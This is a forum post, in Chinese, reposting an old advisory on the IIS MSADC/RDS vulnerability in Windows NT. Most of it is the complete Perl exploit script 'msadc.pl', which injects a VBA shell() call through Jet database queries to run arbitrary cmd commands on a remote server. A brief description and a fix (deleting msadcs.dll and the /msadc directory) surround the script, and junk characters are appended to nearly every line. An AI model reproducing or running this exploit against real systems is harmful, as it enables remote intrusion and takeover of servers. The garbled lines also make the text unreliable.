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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) l0w]`EE  
9r<J"%*Q  
涉及程序: "]x'PI 4J  
Microsoft NT server 5iw<>9X*  
fLD, 5SN  
描述: ~i{(<.he  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限  c(E{6g?  
v2\FA(BPn  
详细: ]BZA:dd.G  
如果你没有时间读详细内容的话,就删除: f=Gg9bnm3  
c:\Program Files\Common Files\System\Msadc\msadcs.dll &|ex`nwc0  
有关的安全问题就没有了。 6qpJUkd  
9C9oUtS  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ,vawzq[oSy  
"'.UU$]d  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Z'W =\rl  
关于利用ODBC远程漏洞的描述,请参看: KVaiugQ   
VG#EdIiI  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm vjCu4+w($Z  
3E]plj7$  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ^4hO  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1~`fVg  
HTS0s\R$  
这里不再论述。 uc\Kg1{  
9c'xHO`  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: f:w?pE  
CL;}IBd a  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ~.nmI&3  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ~2N"#b&J  
_pG-qK  
j#x6  
#将下面这段保存为txt文件,然后: "perl -x 文件名" RFcv^Xf  
9uO 2Mm  
#!perl IGQFtO/x  
# RnE4<Cy  
# MSADC/RDS 'usage' (aka exploit) script w<3#1/g!2B  
# >J?fl8  
# by rain.forest.puppy o4,6.1}  
# EU;9 *W<  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me QXFo1m  
# beta test and find errors! :#ik. D  
n\D&!y[]F  
use Socket; use Getopt::Std; P=Jo+4O  
getopts("e:vd:h:XR", \%args); IdYt\^@>  
RJ&RTo  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; xn(kKB.  
?4&e;83_#y  
if (!defined $args{h} && !defined $args{R}) { vWv"  
print qq~ rfJz8uF%  
Usage: msadc.pl -h <host> { -d <delay> -X -v } $6 9&O  
-h <host> = host you want to scan (ip or domain)  . iI  
-d <seconds> = delay between calls, default 1 second wo/\]5  
-X = dump Index Server path table, if available  KC6.Fr{  
-v = verbose [kB7@o  
-e = external dictionary file for step 5  `25yE/  
M h}m;NI  
Or a -R will resume a command session gO-  _  
pa3{8x{9m  
~; exit;} OLGE!&!>  
7U"g3 a)=  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; itP,\k7>d  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} =BAr .m+"  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} _8J.fT$${  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); sb*G!8j  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} !;{7-~  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } HM1Fz\Sf  
q`7PhA  
if (!defined $args{R}){ $ret = &has_msadc; :\c ^*K(9  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ie95rZp  
iHf$  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" & h)yro  
. "cmd /c "; SHgN~ Um  
$in=<STDIN>; chomp $in; 4l'fCZhA}  
$command="cmd /c " . $in ; ZvX*t)VjTz  
]Q1yNtN  
if (defined $args{R}) {&load; exit;} _6hQ %hv8  
F~W6Bp^W  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ueWEc^_>  
&try_btcustmr; 3(N$nsi  
NwvC[4  
print "\nStep 2: Trying to make our own DSN..."; B dfwa  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; xm~`7~nFR  
An0|[uWH  
print "\nStep 3: Trying known DSNs..."; \?-<4Bc@  
&known_dsn; 4k1xy##  
J!(<y(l  
print "\nStep 4: Trying known .mdbs..."; G>}255qY  
&known_mdb; gZXi]m&  
AV]2 euyn  
if (defined $args{e}){ my1@41 H  
print "\nStep 5: Trying dictionary of DSN names..."; J yK3{wYS  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } *:7rdzn  
J]'zIOQ  
print "Sorry Charley...maybe next time?\n"; ^uc=f2=>,  
exit; Ge@{_  
| YWD8 +  
############################################################################## adcE'fA<_  
EME|k{W  
sub sendraw { # ripped and modded from whisker {S)6;|ua'  
sleep($delay); # it's a DoS on the server! At least on mine... O=t_yy  
my ($pstr)=@_; Ll't>)  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || YkSl^j[DHs  
die("Socket problems\n"); +Kc  
if(connect(S,pack "SnA4x8",2,80,$target)){ &r /Mi%  
select(S); $|=1; $%d*@ 'c  
print $pstr; my @in=<S>; V f&zL Sgr  
select(STDOUT); close(S); BDDlQci38  
return @in; O0v}43J [  
} else { die("Can't connect...\n"); }} F/{!tx  
T'9'G M  
############################################################################## Sz`,X0a  
t3_O H^  
sub make_header { # make the HTTP request 0#hlsfc]\  
my $msadc=<<EOT zC!t;*8a  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 `U_)98  
User-Agent: ACTIVEDATA 9cF[seE"0  
Host: $ip 8TKnL\aar  
Content-Length: $clen  V}CG:9;  
Connection: Keep-Alive cuI TY^6  
_TZRVa_  
ADCClientVersion:01.06 tcI*a>  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 (?c"$|^J  
FVKTbvYn  
--!ADM!ROX!YOUR!WORLD! 7n<{tM  
Content-Type: application/x-varg UI0VtR]   
Content-Length: $reqlen +O{*M9 B  
Zu[su>\  
EOT _V6ukd"B~  
; $msadc=~s/\n/\r\n/g; #c!lS<z  
return $msadc;} M%m4i9~!?  
(L&d!$,Dv  
############################################################################## {!L~@r  
/([kh~a  
sub make_req { # make the RDS request ;)*eo_tQ  
my ($switch, $p1, $p2)=@_; %tGO?JMkd  
my $req=""; my $t1, $t2, $query, $dsn; ^yp{32  
\R_C&=  
if ($switch==1){ # this is the btcustmr.mdb query Ti5-6%~&  
$query="Select * from Customers where City=" . make_shell(); _G@GpkSe>  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ZY+qA  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ;A*]l' [-  
a1lh-2x X  
elsif ($switch==2){ # this is general make table query T8$y[W-c  
$query="create table AZZ (B int, C varchar(10))"; kDxFloK  
$dsn="$p1";} u6JM]kR  
rEW b"  
elsif ($switch==3){ # this is general exploit table query Vc Z3 X4/  
$query="select * from AZZ where C=" . make_shell(); #X1ND  
$dsn="$p1";} |Rk@hzM2S  
TvbE2Q;/UL  
elsif ($switch==4){ # attempt to hork file info from index server DvvK^+-~  
$query="select path from scope()"; ZFL~;_r  
$dsn="Provider=MSIDXS;";} )y$(AJx$  
ON(kt3.h  
elsif ($switch==5){ # bad query  qX{+oy5  
$query="select"; F JyT+  
$dsn="$p1";} q_58;Bv  
(!WD1w   
$t1= make_unicode($query); nNn :-  
$t2= make_unicode($dsn); :vbW  
$req = "\x02\x00\x03\x00"; O\ r0bUPE  
$req.= "\x08\x00" . pack ("S1", length($t1)); {P_.~0pc*  
$req.= "\x00\x00" . $t1 ; 6i/(5 nQ  
$req.= "\x08\x00" . pack ("S1", length($t2)); .ioEI sg  
$req.= "\x00\x00" . $t2 ; b ]KBgZ  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; R\[e!g*I  
return $req;} sPIn|d  
FZn w0tMq  
############################################################################## 3!]rmZ-W  
(GfZ*  
sub make_shell { # this makes the shell() statement > ~O.@|  
return "'|shell(\"$command\")|'";} tWc Hb #  
VOLj>w  
############################################################################## gPPkT"  
RA L~!"W  
sub make_unicode { # quick little function to convert to unicode  @q) d  
my ($in)=@_; my $out; P&Vv/D  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } nu%*'.  
return $out;} wibNQ`4k  
j3Y['xDv  
############################################################################## [ 4)F f  
=I_'.b  
sub rdo_success { # checks for RDO return success (this is kludge) |A(Iti{v  
my (@in) = @_; my $base=content_start(@in); tCt#%7J;a  
if($in[$base]=~/multipart\/mixed/){ +ZP7{%  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} i83OOV$1J  
return 0;} f/?P514h  
r~['VhI!;E  
############################################################################## sW\!hW1*x  
S_H+WfIHV'  
sub make_dsn { # this makes a DSN for us ,ig/s2ZG6X  
my @drives=("c","d","e","f"); 8}:nGK|kx  
print "\nMaking DSN: "; FS.L\MjV]U  
foreach $drive (@drives) { ");a3hD  
print "$drive: "; `R^gU]Z,  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . $6IJ P\  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" VIf.q)_k  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); iy.\=Cs$N  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; &rR2,3r=  
return 0 if $2 eq "404"; # not found/doesn't exist N;%6:I./  
if($2 eq "200") { f$QNg0v  
foreach $line (@results) { v3>UV8c'  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} m1AJ{cs  
} return 0;} om>KU$g  
8&dF  
############################################################################## *o ix6  
Aos+dP5h,8  
sub verify_exists { #/37V2E  
my ($page)=@_; Fsg*FH7J  
my @results=sendraw("GET $page HTTP/1.0\n\n"); F!K>Kz  
return $results[0];} Tid aa  
_aeBauD  
############################################################################## COlaD"Y  
(QB2T2x  
sub try_btcustmr { MolgwVd  
my @drives=("c","d","e","f"); )+Pus~w  
my @dirs=("winnt","winnt35","winnt351","win","windows"); BMf@M  
N'=gep0V@  
foreach $dir (@dirs) { [Ch.cE_  
print "$dir -> "; # fun status so you can see progress GC'O[q+  
foreach $drive (@drives) { 2X&qE}%k S  
print "$drive: "; # ditto `Q,H|hp;k;  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; a8Wwq?@  
$reqlenlen=length( "$reqlen" ); xgtR6E^k  
$clen= 206 + $reqlenlen + $reqlen; }Y4qS  
-UT}/:a  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); HxI" 8A  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} c:.eGH_f  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} &%Tj/Qx  
`M6)f?|$.  
############################################################################## cB&:z)i4  
oP.7/*p  
sub odbc_error { RD&PDXT4  
my (@in)=@_; my $base; Z3!`J&  
my $base = content_start(@in); -s/ea~=R  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this u]@['7  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; wz8yD8M  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^<AwG=  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; +"VP-s0  
return $in[$base+4].$in[$base+5].$in[$base+6];} A+{VGP^  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; (7*}-Uy[C  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . .N(p=9  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} bZV/l4TU  
jz0T_\8D`  
############################################################################## 3;Fhg!Z O  
vvOV2n .WD  
sub verbose { 9nbLg5P  
my ($in)=@_; TS5Q1+hWHV  
return if !$verbose; 3R V R  
print STDOUT "\n$in\n";} cM7[_*Ot<m  
rrv%~giU  
############################################################################## [0 e_*  
[ikOb8 G#  
sub save { xId.GWY1  
my ($p1, $p2, $p3, $p4)=@_; KK &?gTa  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; A5w6]:f2  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; gZ1?G-Q  
close OUT;} bN@ l?w  
NaCy@  
############################################################################## `9.r`&T6K  
H>@+om  
sub load { nFs(?Rv*  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; _J[P[(ab  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ;A!BVq  
@p=<IN>; close(IN); hR|MEn6KC  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); >F&47Yn  
$target= inet_aton($ip) || die("inet_aton problems");  8dyg1F  
print "Resuming to $ip ..."; wlmRe`R  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; {]|J5Dgfe  
if($p[1]==1) { m j@13$=  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 5/z/>D;  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; X[TR3[1}  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); `y* }lg T  
if (rdo_success(@results)){print "Success!\n";} t&DEb_"De  
else { print "failed\n"; verbose(odbc_error(@results));}} jF*j0PkNdb  
elsif ($p[1]==3){ 29q _BR *:  
if(run_query("$p[3]")){ `@|$,2[C  
print "Success!\n";} else { print "failed\n"; }} ^sg,\zD 'X  
elsif ($p[1]==4){ C"enpc_C/  
if(run_query($drvst . "$p[3]")){ 3oG,E;(  
print "Success!\n"; } else { print "failed\n"; }} >yh2Lri  
exit;} tklH@'q  
^zgo#J 5O  
############################################################################## /H+a0`/  
'A[dCc8O  
sub create_table { BFW&2  
my ($in)=@_; 4ss4kp_>  
$reqlen=length( make_req(2,$in,"") ) - 28; wH6aAV~1  
$reqlenlen=length( "$reqlen" ); A. w:h;7  
$clen= 206 + $reqlenlen + $reqlen; vVcob }ZH  
my @results=sendraw(make_header() . make_req(2,$in,"")); ei5~&  
return 1 if rdo_success(@results); 4nz35BLr  
my $temp= odbc_error(@results); verbose($temp); z&^&K}  
return 1 if $temp=~/Table 'AZZ' already exists/; k-""_WJ~^  
return 0;} C"]^Q)aJN  
sUm'  
############################################################################## 7T'B6`-Ox  
r!{Up7uL  
sub known_dsn { FU<Jp3<%  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 7vj2 `+r.  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", dGTsc/$  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", :p6M=  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); O<W_fx8_'  
-s'-eQF J  
foreach $dSn (@dsns) { ?P c'C  
print "."; pFz`}?c0  
next if (!is_access("DSN=$dSn")); !$>R j  
if(create_table("DSN=$dSn")){ e<q?e}>?  
print "$dSn successful\n"; eKqk= (  
if(run_query("DSN=$dSn")){ ymcLFRu,  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { EDs\,f}  
print "Something's borked. Use verbose next time\n";}}} print "\n";} VgS_s k  
rk)`\=No  
############################################################################## ,wdD8ZT'Ip  
9@)O_@=  
sub is_access { ##4HYQ%E  
my ($in)=@_; t<?,F  
$reqlen=length( make_req(5,$in,"") ) - 28; )sQ*Rd@t[8  
$reqlenlen=length( "$reqlen" ); -RK- Fu<e  
$clen= 206 + $reqlenlen + $reqlen; uhutg,[  
my @results=sendraw(make_header() . make_req(5,$in,"")); m<2M4u   
my $temp= odbc_error(@results); Pd]|:W< E  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 9]o-O]7/  
return 0;} %GIr&V4|  
-;k+GrLr^  
############################################################################## "Os_vlapHo  
xFg>SJ7]  
sub run_query { u,Kly<0j  
my ($in)=@_; S?BG_J6A7  
$reqlen=length( make_req(3,$in,"") ) - 28; 26x[X.C:  
$reqlenlen=length( "$reqlen" ); 1 I",L&S1  
$clen= 206 + $reqlenlen + $reqlen; {P#|zp4C{  
my @results=sendraw(make_header() . make_req(3,$in,"")); U\!X,a*ts{  
return 1 if rdo_success(@results); CQDkFQq-dq  
my $temp= odbc_error(@results); verbose($temp); -1ub^feJ,  
return 0;} n>U5R_T  
6/dI6C!  
############################################################################## Tkgs]q79  
IRqy%@)  
sub known_mdb { 42ivT_H  
my @drives=("c","d","e","f","g"); iM 3V=&)  
my @dirs=("winnt","winnt35","winnt351","win","windows"); i8HTzv"J  
my $dir, $drive, $mdb; {U !g.rh  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 1D!<'`)AY  
#@nezu2  
# this is sparse, because I don't know of many LC!bIm5'  
my @sysmdbs=( "\\catroot\\icatalog.mdb", }|5Pr(I  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Fh9h,' V"  
"\\system32\\certmdb.mdb", 4#hSJ(~7S  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% cDkf qcC  
dzrio-QU~  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", r^ ZEImjc  
"\\cfusion\\cfapps\\forums\\forums_.mdb", D=&Me=$  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", K8Y=S12Ti  
"\\cfusion\\cfapps\\security\\realm_.mdb", uOdl*|T?  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", c<$OA=n  
"\\cfusion\\database\\cfexamples.mdb", EI^C{ $Y  
"\\cfusion\\database\\cfsnippets.mdb", G[q$QB+  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", `%WU8Yv  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", cD'V>[h  
"\\cfusion\\brighttiger\\database\\cleam.mdb", fw{gx  
"\\cfusion\\database\\smpolicy.mdb", Q6I:"2u1  
"\\cfusion\\database\cypress.mdb", n#_$\ p>Yd  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", nwCrZW  
"\\website\\cgi-win\\dbsample.mdb", ZLAy- 9^Y  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", R@k&SlL'`  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" "kgdbAZ  
); #these are just [QT#Yf0  
foreach $drive (@drives) { TBU&6M>{3  
foreach $dir (@dirs){ ZbAcO/  
foreach $mdb (@sysmdbs) { [Hh9a;.*}h  
print "."; x0:m-C  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ e'b(gD}  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; W-zP/]Dh  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ mF^v~  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; _n>,!vH  
} else { print "Something's borked. Use verbose next time\n"; }}}}} AbmAKA@  
aPbE;" f  
foreach $drive (@drives) { Q^txVUL  
foreach $mdb (@mdbs) { dL )<% o  
print "."; l8#EM1g-  
if(create_table($drv . $drive . $dir . $mdb)){ ]f9Cx\d:k  
print "\n" . $drive . $dir . $mdb . " successful\n"; 5iyd Z  
if(run_query($drv . $drive . $dir . $mdb)){  zi`o#+  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ]+:^W^bs:  
} else { print "Something's borked. Use verbose next time\n"; }}}} (;^syJrh  
} J!U}iD@occ  
S\!ana])  
############################################################################## pr UM-u8  
 t[ C/  
sub hork_idx { x>`%DwoRI  
print "\nAttempting to dump Index Server tables...\n"; (mtk 4  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; _MX>#!l  
$reqlen=length( make_req(4,"","") ) - 28; .];=Pu^  
$reqlenlen=length( "$reqlen" ); 2WxQ(:d=  
$clen= 206 + $reqlenlen + $reqlen; X1vd'>  
my @results=sendraw2(make_header() . make_req(4,"","")); M{hg0/}sUW  
if (rdo_success(@results)){ qR+!l(  
my $max=@results; my $c; my %d; |64~ K\X  
for($c=19; $c<$max; $c++){ YcK|.Mq':  
$results[$c]=~s/\x00//g; Sa;qW3dt3E  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; "d5n \@[t  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; OMg<V  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; L<{i ,'M  
$d{"$1$2"}="";} ThbGQ"/  
foreach $c (keys %d){ print "$c\n"; } )iK6:s #  
} else {print "Index server doesn't seem to be installed.\n"; }} pOG1jI5<{8  
2'MZ s]??w  
############################################################################## Ffta](Z;  
,>+p-M8ZL  
sub dsn_dict { WKa~[j|-K  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ^V Zk+'4  
while(<IN>){ a\ YV3NJ/A  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; PQ$%H>{  
next if (!is_access("DSN=$dSn")); +-CtjhoS  
if(create_table("DSN=$dSn")){ 2n"V}p>8i#  
print "$dSn successful\n"; |T)6yDL  
if(run_query("DSN=$dSn")){ +l{=  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { t "'7m^j  
print "Something's borked. Use verbose next time\n";}}}  LsS  
print "\n"; close(IN);} T\ >a!  
.O}%  
############################################################################## dP]\Jo=Yh  
`W/>XZl+t  
sub sendraw2 { # ripped and modded from whisker CDR@ `1-  
sleep($delay); # it's a DoS on the server! At least on mine... :mn>0jK,N  
my ($pstr)=@_; Cg?&wj<  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || d;9FB[MmOJ  
die("Socket problems\n"); ls:w8 &`*  
if(connect(S,pack "SnA4x8",2,80,$target)){ ~d*(=G  
print "Connected. Getting data"; p/@smke  
open(OUT,">raw.out"); my @in; 74k dsgQf  
select(S); $|=1; print $pstr; p\aaJ  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} @>>~CZ`l  
close(OUT); select(STDOUT); close(S); return @in; vbe|hO""  
} else { die("Can't connect...\n"); }} @8rx`9  
x!58cS*  
############################################################################## Y+u_IJ  
ly_HWuFJ3  
sub content_start { # this will take in the server headers 3H6lBF  
my (@in)=@_; my $c; Bj-: #P@  
for ($c=1;$c<500;$c++) { _k ~KZ;l  
if($in[$c] =~/^\x0d\x0a/){ s %\-E9 T  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } v"XGCi91L  
else { return $c+1; }}} Ay w ;N  
return -1;} # it should never get here actually fbKkq.w  
KP5C} ZK+s  
############################################################################## ?8Z0Gqt74  
,a]?S^:y]  
sub funky { NDlF0f  
my (@in)=@_; my $error=odbc_error(@in); q ]e`9/U  
if($error=~/ADO could not find the specified provider/){ O% KsD[W;  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; L4z ~B!uvF  
exit;} ww $  
if($error=~/A Handler is required/){ qPy1;maXP  
print "\nServer has custom handler filters (they most likely are patched)\n"; kN4{13Qs*  
exit;} 64G[|" j D  
if($error=~/specified Handler has denied Access/){ .ndCfdy~  
print "\nServer has custom handler filters (they most likely are patched)\n"; |\IN.W[EL  
exit;}} 2:7zG "$  
n+q!l&&  
############################################################################## OJ5#4qJ[  
<;m<8RjX  
sub has_msadc { r@t9Ci=}  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Mh/dpb\Z  
my $base=content_start(@results); 4DOH`6#an  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); "ZsOd>[/  
return 0;} X4Ic;  
*><F'   
######################## ?+W 9az]+  
VZymM<O  
.e=:RkI,  
解决方案: ADP%QTdqFJ  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Et/\xL  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章  6S*e xw  
IsM}' .  
拿出来充数 哈哈
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